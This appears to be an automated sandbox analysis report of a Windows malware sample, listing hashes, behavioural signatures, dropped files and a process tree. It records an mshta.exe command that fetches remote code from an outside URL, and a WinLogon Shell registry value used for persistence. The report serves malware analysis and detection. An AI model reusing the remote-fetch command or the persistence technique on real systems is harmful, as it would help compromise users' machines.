Analysis
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max time kernel
43s -
max time network
44s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
21-04-2024 13:34
Behavioral task
behavioral1
Sample
ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
Resource
win10v2004-20240412-en
Errors
General
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Target
ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
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Size
319KB
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MD5
ff643925ab1766e8824df0ea24bd360d
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SHA1
51d1d7776a51c091dbce0941d05bacf17558ed29
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SHA256
3383331a239a845adc5491cae5c4c5f506d995512f39cf3274bd2c9a02ee7aef
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SHA512
413ef73606c2d8ec0ccd4307da86e0ca2aa5825ee9f072b5376920cfd06d4a752af92c29e54d2b6568432a28c453c8442eab492659bb7562bcd401b5063c4b0d
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SSDEEP
6144:IcZHcar1Y1F4kTtCE8y7gSCpgUXGqyzLlxE95/wWT2tHR+weaZ:fHNWw7dy7gS9UX2YPS2a
Malware Config
Extracted
http://rerererererere.com/inst.php?id=forbidden
Signatures
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Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hdddoctor.exe" ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe -
Processes:
resource yara_rule behavioral1/memory/2232-0-0x0000000000400000-0x000000000062F000-memory.dmp upx behavioral1/memory/2232-13-0x0000000000400000-0x000000000062F000-memory.dmp upx behavioral1/memory/2232-14-0x0000000000400000-0x000000000062F000-memory.dmp upx behavioral1/memory/2232-15-0x0000000000400000-0x000000000062F000-memory.dmp upx behavioral1/memory/2232-17-0x0000000000400000-0x000000000062F000-memory.dmp upx behavioral1/memory/2232-18-0x0000000000400000-0x000000000062F000-memory.dmp upx behavioral1/memory/2232-19-0x0000000000400000-0x000000000062F000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exedescription pid process Token: SeShutdownPrivilege 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exepid process 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exedescription pid process target process PID 2232 wrote to memory of 2368 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe mshta.exe PID 2232 wrote to memory of 2368 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe mshta.exe PID 2232 wrote to memory of 2368 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe mshta.exe PID 2232 wrote to memory of 2368 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe mshta.exe PID 2232 wrote to memory of 1176 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe cmd.exe PID 2232 wrote to memory of 1176 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe cmd.exe PID 2232 wrote to memory of 1176 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe cmd.exe PID 2232 wrote to memory of 1176 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe"1⤵
- Modifies WinLogon for persistence
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden2⤵
- Modifies Internet Explorer settings
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "2⤵
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\dgfdgsdf.batFilesize
263B
MD5732174cfd42a063da51e7235505aae39
SHA1532ac8a1c574c5a0e067889e5984415ef886ced3
SHA256bcad8623dd34eb3dad92d91f52924051fca01fae4acf00ce97887071b3ff8688
SHA512a150d580ea302feb0712bf7baba29b2bc47cc03d310df5aee7c4661bd2674d6357ee05ae12c6a79ceeae7b1aa09440d17d7a21ee64b60d9f9378ed09d03218c1
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memory/1048-21-0x0000000002B30000-0x0000000002B31000-memory.dmpFilesize
4KB
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memory/2232-15-0x0000000000400000-0x000000000062F000-memory.dmpFilesize
2.2MB
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memory/2232-2-0x0000000003890000-0x00000000038A0000-memory.dmpFilesize
64KB
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memory/2232-13-0x0000000000400000-0x000000000062F000-memory.dmpFilesize
2.2MB
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memory/2232-14-0x0000000000400000-0x000000000062F000-memory.dmpFilesize
2.2MB
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memory/2232-0-0x0000000000400000-0x000000000062F000-memory.dmpFilesize
2.2MB
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memory/2232-16-0x0000000003890000-0x00000000038A0000-memory.dmpFilesize
64KB
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memory/2232-17-0x0000000000400000-0x000000000062F000-memory.dmpFilesize
2.2MB
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memory/2232-18-0x0000000000400000-0x000000000062F000-memory.dmpFilesize
2.2MB
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memory/2232-19-0x0000000000400000-0x000000000062F000-memory.dmpFilesize
2.2MB
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memory/2232-1-0x0000000000230000-0x0000000000231000-memory.dmpFilesize
4KB
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memory/3036-20-0x0000000002E90000-0x0000000002E91000-memory.dmpFilesize
4KB